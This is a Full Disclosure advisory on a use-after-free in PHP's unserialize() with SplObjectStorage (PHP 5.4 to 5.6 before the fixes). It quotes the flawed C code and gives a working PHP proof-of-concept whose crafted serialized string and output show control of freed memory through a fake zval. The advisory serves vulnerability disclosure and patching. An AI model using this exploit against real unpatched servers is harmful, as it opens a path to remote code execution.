Use After Free Vulnerability in unserialize() with SplObjectStorage

[Taoguang Chen <taoguangchen () gmail com>]

#Use After Free Vulnerability in unserialize() with SplObjectStorage

Taoguang Chen <[@chtg](http://github.com/chtg)> - Write Date:
2015.7.30 - Release Date: 2015.8.7

> A use-after-free vulnerability was discovered in unserialize() with SplObjectStorage object's deserialization that 
> can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely.

Affected Versions
------------
Affected is PHP 5.6 < 5.6.12
Affected is PHP 5.5 < 5.5.28
Affected is PHP 5.4 < 5.4.44

Credits
------------
This vulnerability was disclosed by Taoguang Chen.

Description
------------

```
        if (*p!= 'x' || *++p != ':') {
                goto outexcept;
        }
        ++p;

        ALLOC_INIT_ZVAL(pcount);
        if (!php_var_unserialize(&pcount, &p, s + buf_len, &var_hash
TSRMLS_CC) || Z_TYPE_P(pcount) != IS_LONG) {
                goto outexcept;
        }

        ...

        /* members */
        if (*p!= 'm' || *++p != ':') {
                goto outexcept;
        }
        ++p;

        ALLOC_INIT_ZVAL(pmembers);
        if (!php_var_unserialize(&pmembers, &p, s + buf_len, &var_hash
TSRMLS_CC) || Z_TYPE_P(pmembers) != IS_ARRAY) {
                zval_ptr_dtor(&pmembers);
                goto outexcept;
        }

        /* copy members */
        if (!intern->std.properties) {
                rebuild_object_properties(&intern->std);
        }
        zend_hash_copy(intern->std.properties, Z_ARRVAL_P(pmembers),
(copy_ctor_func_t) zval_add_ref, (void *) NULL, sizeof(zval *));
        zval_ptr_dtor(&pmembers);  <===  free memory

        /* done reading $serialized */
        if (pcount) {
                zval_ptr_dtor(&pcount);  <===  free memory
        }
        PHP_VAR_UNSERIALIZE_DESTROY(var_hash);
        return;
```

The zval_ptr_dtor() leads to &pcount and &pmembers are freed from
memory. However the unserialize() will still allow to use R: or r: to
set references to that already freed memory. It is possible to
use-after-free attack and execute arbitrary code remotely.

Proof of Concept Exploit
------------
The PoC works on standard MacOSX 10.11 installation of PHP 5.4.43.

```
<?php

$fakezval = ptr2str(1122334455);
$fakezval .= ptr2str(0);
$fakezval .= "\x00\x00\x00\x00";
$fakezval .= "\x01";
$fakezval .= "\x00";
$fakezval .= "\x00\x00";

$inner = 'x:i:0;m:a:0:{}';
$exploit = 'a:2:{i:0;C:16:"SplObjectStorage":'.strlen($inner).':{'.$inner.'}i:1;R:3;}';

$data = unserialize($exploit);

for ($i = 0; $i < 5; $i++) {
    $v[$i] = $fakezval.$i;
}

var_dump($data);

function ptr2str($ptr)
{
        $out = "";
        for ($i = 0; $i < 8; $i++) {
                $out .= chr($ptr & 0xff);
                $ptr >>= 8;
        }
        return $out;
}

?>
```

Test the PoC on the command line:

```
$ php uafpoc.php
array(2) {
  [0]=>
  object(SplObjectStorage)#1 (1) {
    ["storage":"SplObjectStorage":private]=>
    array(0) {
    }
  }
  [1]=>
  int(1122334455)  <===  so we can control the memory and create fake ZVAL :)
}
```

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/